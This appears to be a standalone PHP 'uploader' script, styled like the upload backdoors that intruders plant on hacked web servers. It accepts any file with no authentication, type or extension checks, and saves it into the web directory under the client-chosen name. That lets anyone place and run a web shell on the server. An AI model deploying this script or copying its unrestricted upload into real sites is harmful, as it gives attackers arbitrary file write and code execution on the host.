uploader

<?php
echo "<body bgcolor=black>
<font color=cyan size=3>";
echo "<h2></h2><hr>";
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<label for=\"file\"> </label>
<input type=\"file\" name=\"file\" id=\"file\" />
<br />
<input type=\"submit\" name=\"submit\" value=\"Upload\">
</form>";
  {
  echo " " . $_FILES["file"]["name"] . "<br />";
  echo " " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  echo " " . $_FILES["file"]["tmp_name"];
  }
if (file_exists("" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "" . $_FILES["file"]["name"]);
      echo " " . "" . $_FILES["file"]["name"];
echo"<hr>";
      }
?>